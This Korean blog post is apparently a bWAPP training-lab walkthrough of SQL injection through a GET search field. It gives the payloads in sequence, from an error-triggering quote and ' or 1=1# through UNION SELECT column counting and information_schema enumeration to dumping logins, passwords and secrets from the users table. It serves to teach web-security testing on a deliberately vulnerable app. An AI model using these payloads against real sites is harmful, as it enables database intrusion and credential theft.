bWAPP 12. SQL Injection (GET/Search)

Web hacking|2022. 2. 6. 13:21

                                           SQL Injection (GET/Search)

 

SQL Injection은 사용자가 입력한 값을 서버에서 검증하지 않고 데이터베이스 쿼리 일부분으로 인식하여

데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점 입니다.

SQL Injection은 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있습니다.

 

 

 

[ 문법 오류 확인 ]

 

입력 :  '

사용하여, 문법오류가 나오는지 확인한다.

 

SQL Injection (GETSearch)오류 메시지에는 데이터베이스 서버 정보가 포함되고, 데이터베이스 서버의 종류에 따라 SQL 구문이 다르므로 가장 먼저 서버 정보를 확인하여야 합니다. 위에 오류 메시지에서는 데이터베이스 서버가 'MySQL'이라는 것을 있습니다.

 

 

 

[ 공격 가능한지 확인 ]

 

 

입력 : ' or 1=1#

쿼리 결과를 항상 참으로 만들며, 코드의 뒷부분을 주석으로 처리해버린다.

 

영화 관련 내용들이 출력되고 있는 것을 확인 있다.

 

union 구문을 사용하기 위해서,

이전 쿼리에서 사용하는 SELECT 문의 컬럼 수가 일치해야 하므로,

 

 

 

 

 

 

[ 컬럼 확인 ]

 

입력 : ' UNION SELECT ALL 1#

                   ' UNION SELECT ALL 1, 2#

                   ' UNION SELECT ALL 1, 2, 3#

                   ' UNION SELECT ALL 1, 2, 3, 4#

                   ' UNION SELECT ALL 1, 2, 3, 5#

                   ' UNION SELECT ALL 1, 2, 3, 6#

                   ' UNION SELECT ALL 1, 2, 3, 4, 5, 6, 7#

 

칼럼을 하나씩 추가한다.

7개의 컬럼을 가지고있는 것을 확인.

 

 

 

[ mysql 버전 확인 ]

 

입력 : ' UNION SELECT ALL 1, 2, @@version, 4, 5, 6, 7#

 

시스템 함수를 사용하여 mysql 버전을 확인했다.

 

 

 

 

 

 

 

 

 

[ 테이블 확인하기 ]

 

입력 :  ' UNION SELECT ALL 1, table_name,3,4,5,6,7 from information_schema.tables#

 

 

 

 

user 테이블에 계정정보가 들어있을 것으로 추측

 

 

 

 

[ user 이블 컬럼 추출 ]

 

 

 

입력 : ' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

 

 

 

 

 

 

 

[ user 테이블의 컬럼 내용 확인 ]

 

 

입력 : ' UNION SELECT ALL 1,concat(id,login),password,email,secret,6,7 from users#

페이지에 노출된 컬럼 수보다 확인하려는 컬럼 수가 많을 경우,

concat 함수를 사용하여 컬럼 명을 인자로 입력하면 여러 컬럼의 내용을 확인이 가능

 

 

sql injection 성공하였다.

 

  

 

댓글()